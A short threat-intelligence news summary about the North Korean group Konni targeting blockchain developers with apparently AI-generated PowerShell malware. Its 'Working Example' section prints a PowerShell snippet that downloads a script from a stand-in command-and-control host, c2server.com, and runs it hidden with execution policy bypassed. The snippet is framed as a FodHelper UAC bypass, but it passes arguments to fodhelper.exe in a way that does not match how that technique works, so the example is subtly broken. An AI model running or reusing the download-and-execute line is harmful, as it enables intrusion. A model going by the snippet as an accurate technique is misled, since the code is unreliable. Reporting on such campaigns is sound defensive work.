Konni Hackers Deploy AI-Generated PowerShell Backdoor Against Blockchain Developers

Konni Hackers Deploy AI-Generated PowerShell Backdoor Against Blockchain Developers

North Korean threat actor Konni is now utilizing AI-generated PowerShell malware to target blockchain developers and engineering teams. This campaign, dubbed Operation Poseidon, has impacted organizations in Japan, Australia, and India, expanding their reach beyond previous targets.

The increasing sophistication of attacks, including the use of AI to generate malware, highlights a critical gap between current security practices and the evolving threat landscape. Traditional signature-based detection methods are becoming less effective against polymorphic malware generated by AI, potentially leading to widespread compromise and significant financial losses for targeted organizations.

Key Insights

• Konni has been active since at least 2014, evolving its tactics over time.
• AI-assisted malware generation allows for faster development and standardization of code, accelerating attack campaigns.
• Attackers are exploiting legitimate services like Google Ads, Discord CDN, and SimpleHelp RMM for malicious purposes.

Working Example

# Example PowerShell code snippet found within the Konni backdoor (simplified)
# This snippet demonstrates the UAC bypass technique using FodHelper
try {
    $FodHelperPath = Join-Path $env:windir "System32\fodhelper.exe"
    $Arguments = "-runas \"powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command & {Invoke-WebRequest -Uri 'http://c2server.com/payload.ps1' -OutFile '$env:TEMP\payload.ps1'; & '$env:TEMP\payload.ps1'}\""
    Start-Process $FodHelperPath -ArgumentList $Arguments
} catch {
    Write-Host "UAC Bypass Failed: $($_.Exception.Message)"
}

Practical Applications

• Use Case: Blockchain companies are targeted to steal intellectual property or gain access to cryptocurrency wallets.
• Pitfall: Relying solely on email security filters can be bypassed through ad click redirection, as demonstrated by Konni’s exploitation of Google’s advertising ecosystem.

References:

• https://thehackernews.com/2026/01/konni-hackers-deploy-ai-generated.html